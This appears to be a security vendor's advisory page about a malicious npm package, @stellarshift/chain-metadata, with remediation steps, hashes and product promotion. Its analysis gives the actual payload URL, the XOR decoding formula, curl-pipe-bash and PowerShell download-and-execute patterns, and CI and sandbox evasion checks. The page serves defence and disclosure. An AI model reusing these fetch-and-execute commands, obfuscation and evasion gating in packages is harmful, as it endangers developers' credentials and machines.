Which versions of @stellarshift/chain-metadata are malicious?

The following npm versions of @stellarshift/chain-metadata are flagged malicious: 1.0.1, 1.0.3. Treat any of these as compromised.

How do I remediate @stellarshift/chain-metadata if I installed it?

@stellarshift/chain-metadata is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @stellarshift/chain-metadata — how do I know if it already compromised me?

If @stellarshift/chain-metadata was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @stellarshift/chain-metadata part of a known attack campaign?

Yes — @stellarshift/chain-metadata is associated with the IN-MAL-2026-019339, IN-MAL-2026-019340 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @stellarshift/chain-metadata across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stellarshift/chain-metadata (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stellarshift/chain-metadata across your stack and pipelines.

Malicious package

@stellarshift/chain-metadatanpm

@stellarshift/chain-metadata is a confirmed malicious npm package (MAL-2026-15822) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @stellarshift/chain-metadata (npm)

MAL-2026-15822

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @stellarshift/chain-metadata

What this malware does

The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json and decoded at runtime by config-resolver.js (encoding tag ss-xor-v1, decoder segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)). The decoded destination is https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to bash (curl -fsSL... | bash); on Windows it is executed via PowerShell iex (iwr -UseBasicParsing -Uri $uri).Content, with detached/hidden process flags. Execution is gated by dev-profile.js: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises No network calls — safe for CI and air-gapped builds and Zero runtime dependencies, directly contradicting the shipped install-time network fetch and shell execution.

Malicious versions

2 flagged

1.0.11.0.3

Indicators of compromise (SHA-256)

73ca40d956cda15005010fe70efae66223ada7fd91a2b2cfad1718a7f6d3c063

932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stellarshift/chain-metadata (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stellarshift/chain-metadata across your stack and pipelines.
If you installed it — respond
@stellarshift/chain-metadata is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stellarshift/chain-metadata was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stellarshift/chain-metadata before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @stellarshift/chain-metadata on npm has been identified as a malicious package (versions 1.0.1, 1.0.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019339IN-MAL-2026-019340

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @stellarshift/chain-metadata-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database